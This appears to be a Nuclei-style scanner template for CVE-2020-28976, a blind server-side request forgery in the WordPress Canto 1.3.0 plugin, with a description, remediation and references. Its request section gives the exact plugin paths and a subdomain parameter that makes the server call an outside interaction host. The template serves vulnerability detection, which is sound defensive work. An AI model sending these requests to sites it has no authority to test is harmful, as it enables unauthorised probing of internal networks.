id: CVE-2020-28976 info: name: WordPress Canto 1.3.0 - Blind Server-Side Request Forgery author: LogicalHunter severity: medium description: WordPress Canto plugin 1.3.0 is susceptible to blind server-side request forgery. An attacker can make a request to any internal and external server via /includes/lib/detail.php?subdomain and thereby possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. remediation: | Update WordPress Canto to the latest version (1.3.1) or apply the patch provided by the vendor. reference: - https://www.exploit-db.com/exploits/49189 - https://www.canto.com/integrations/wordpress/ - https://github.com/CantoDAM/Canto-Wordpress-Plugin - https://nvd.nist.gov/vuln/detail/CVE-2020-28976 - http://packetstormsecurity.com/files/160358/WordPress-Canto-1.3.0-Server-Side-Request-Forgery.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 cve-id: CVE-2020-28976 cwe-id: CWE-918 epss-score: 0.00616 epss-percentile: 0.76409 cpe: cpe:2.3:a:canto:canto:1.3.0:*:*:*:*:wordpress:*:* metadata: max-request: 3 vendor: canto product: canto framework: wordpress tags: packetstorm,cve,cve2020,ssrf,wordpress,wp-plugin,oast,edb http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/detail.php?subdomain={{interactsh-url}}" - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/get.php?subdomain={{interactsh-url}}" - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}" stop-at-first-match: true matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "http" - type: word part: body words: - "null" - type: word part: header words: - "application/json" - type: status status: - 200 # digest: 4b0a004830460221009ded273eeb9bf03e6dd8971d613937c477acebc456fab30e5b57552ac6f34129022100806a9abd7bf6c9c21e40ec307baaf06af99d7ba6545ff827b1aec92ecbc36e0b:922c64590222798bb761d5b6d8e72950